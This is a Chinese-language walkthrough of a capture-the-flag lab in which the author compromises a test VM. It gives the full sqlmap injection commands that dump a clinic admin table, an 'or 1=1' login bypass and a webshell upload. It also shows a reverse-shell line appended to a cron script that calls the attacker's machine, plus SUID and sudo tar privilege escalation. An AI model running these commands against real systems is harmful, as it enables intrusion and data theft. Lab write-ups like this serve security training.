导入VMware开启NAT模式并且开启我们的kali
使用我们的kali,命令为arpscan -l查看该网段其他存活主机,发现192.168.13.145主机为我们的测试靶机
接下来使用nmap对我们的145靶机进行详细的嗅探,发现开启了21,22和7080端口
对21端口进行匿名访问,发现里面什么都没有
那就去访问7080端口,发现是一个医院的后台
先扫描一下目录看看有没有什么有价值的东西
扫到了一个files目录和test.php,访问去看看
Daemon可能是一个用户名
对登录框进行一个sql注入测试
但是email需要我们输入正确的邮箱
查看源代码发现有一个邮箱可以利用mayuri.infospace@gmail.com
使用sqlmap,
python sqlmap.py -u "http://192.168.13.145:7080/login.php" --data "user=admin&email=mayuri.infospace@gmail.com&password=&btn_login=" --batch
发现存在sql注入,
python sqlmap.py -u "http://192.168.13.145:7080/login.php" --data "user=admin&email=mayuri.infospace@gmail.com&password=&btn_login=" --batch -D clinic_db --tables
python sqlmap.py -u "http://192.168.13.145:7080/login.php" --data "user=admin&email=mayuri.infospace@gmail.com&password=&btn_login=" --batch -D clinic_db -T admin --dump
python sqlmap.py -u "http://192.168.13.145:7080/login.php" --data "user=admin&email=mayuri.infospace@gmail.com&password=&btn_login=" --batch -D clinic_db -T admin -C username,password --dump
Password没有解出来我们尝试万能密码进入’or 1=1--+
但是这里会有一个email的前台限制,所以我们要将type字段删掉就不会报错了
然后就发现可以登录成功,进来之后寻找功能点
查看源代码的时候发现,这里有一段被隐藏的代码,我们把他注释的部分去掉,就可以发现有个设置功能被隐藏了
发现有个文件上传点,尝试上传后门文件
上传一句话木马之后发现没有任何的防御,并且发现上方的图片显示不出来,感觉就像是我们上传的木马
右键查看图像地址发现就是我们的木马,使用哥斯拉进行连接(这个报错是我一句话木马写得比较省略,但是不影响连接)
连接成功发现用户名就是我们test.php里面出现的名字daemon
利用反弹shell将交互式命令窗口反弹至我们的kali主机,方便我们后面的提权操作。
发现成功将shell弹到我们的kali上面了,写入交互式shell,
python -c ‘import pty;pty.spawn(“/bin.bash”)’
查找可执行命令
find / -perm -4000 -type f 2>/dev/null
发现了这个,可以进行用户切换/usr/bin/bash -p
切换到了eren用户,使用sudo -l查看可利用的root权限,可惜需要密码,后来在定时任务里面找到了信息
这条命令的意思就是每隔5分钟执行一次backup.sh文件
我们把我们的提权反弹shell写上去
echo "bash -i >& /dev/tcp/192.168.13.128/6666 0>&1" >> /home/eren/backup.sh
然后只需要在kali这里开启监听我们的6666端口然后等待5分钟
然后查看权限发现/bin/tar可以提权
使用命令
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
然后报错之后输入SHELL=/bin/bash script -q /dev/null成功提权
拿到flag渗透测试结束
总结
- 对于sqlmap的使用(post型传输data数据包)
- 后台源代码的审计
- /usr/bin/bash所拥有的权限的用户切换
- 定时任务crontab的查看
- Sudo -l查看可利用的tar提权